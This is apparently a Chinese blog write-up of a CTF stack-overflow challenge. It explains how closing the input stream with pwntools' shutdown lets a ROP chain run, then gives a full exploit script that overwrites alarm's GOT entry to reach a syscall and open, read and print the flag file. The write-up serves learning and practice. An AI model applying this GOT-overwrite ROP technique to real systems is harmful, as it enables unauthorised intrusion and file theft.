前言
本题是一个稍微“转了几圈”的常规栈溢出的题,主要涉及到pwntools
的特殊使用方式
(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)
正文
程序保护信息:
再看看程序:
很明显v7
是可以赋成一个很大的数,这样就能使buf
溢出到我们想要的地方,但是现在问题又来了,溢出之后怎么执行ROP链?
因为read函数通常会返回读取的字符的个数,如果还没读完就遇到EOF,就会返回0,如果读取错误,就会返回-1。
但是我们通常在本地使用CTRL+C
的这种方法并没有用,程序会直接结束,所以需要想办法单独关闭输入流,这里我看了大佬的Writeup,发现了shutdown函数可以关闭指定的流,这里使用shutdown('write')
。
好了,现在可以执行ROP链了,接下来就是要想办法构造一个合适的ROP链出来,从IDA里我们可以看到这么几个libc的函数
没有system函数,字符串里也没有/bin/sh
之类的可执行的命令,但是有个flag
字符串,现在题意比较明显了,就是想让你构造ROP链打开flag文件,再读取,输出。
因为有alarm函数(alarm函数内部调用的syscall
指令),所以可以利用它来执行系统调用使用open函数打开flag文件
解题脚本:
#-*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('000.000.000.000',00000)
pop_rdi = 0x4008a3
pop_rsi_r15 = 0x4008a1
pop_rax = 0x4006fc
pop_rdx = 0x4006fe
add_rdi_al = 0x40070d
alarm_got = 0x601028
alarm_plt = 0x4005F0
printf_plt = 0x4005e0
read_plt = 0x400600
bss_add = 0x601070
'''
这里我本来想直接使用bss段来存储数据,但是好像不可以,
网上的Writeup使用了bss内的stdin的段
'''
flag_add = 0x601058
payload = 'A' * 0x38
payload += p64(pop_rdi) + p64(alarm_got)
payload += p64(pop_rax) + p64(5)
payload += p64(add_rdi_al) #这一步很关键,是将alarm的got表指向的位置直接转到syscall的位置
#修改alarm的GOT表完成
payload += p64(pop_rdi) + p64(flag_add)
payload += p64(pop_rsi_r15) + p64(0) * 2
payload += p64(pop_rax) + p64(2)
payload += p64(alarm_plt)
#执行open("flag",0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi_r15) + p64(bss_add) + p64(0)
payload += p64(pop_rdx) + p64(100)
payload += p64(read_plt)
#执行read(3,bss_add,100)
payload += p64(pop_rdi) + p64(bss_add)
payload += p64(printf_plt)
#执行printf(bss_add)
payload = payload.ljust(0x200,'\x00')
p.sendlineafter('server!\n',str(0x200))
p.sendline(payload)
p.shutdown('write')
p.interactive()
总结
本题最重要的是使用pwntools
的shutdown
函数结束输入流,
然后就是直接利用的思路,因为题中有'flag'字符串,所以有直接打开flag文件的想法,
再是通过修改alarm这一类的调用syscall的函数实现后续的ret2syscall
的栈溢出攻击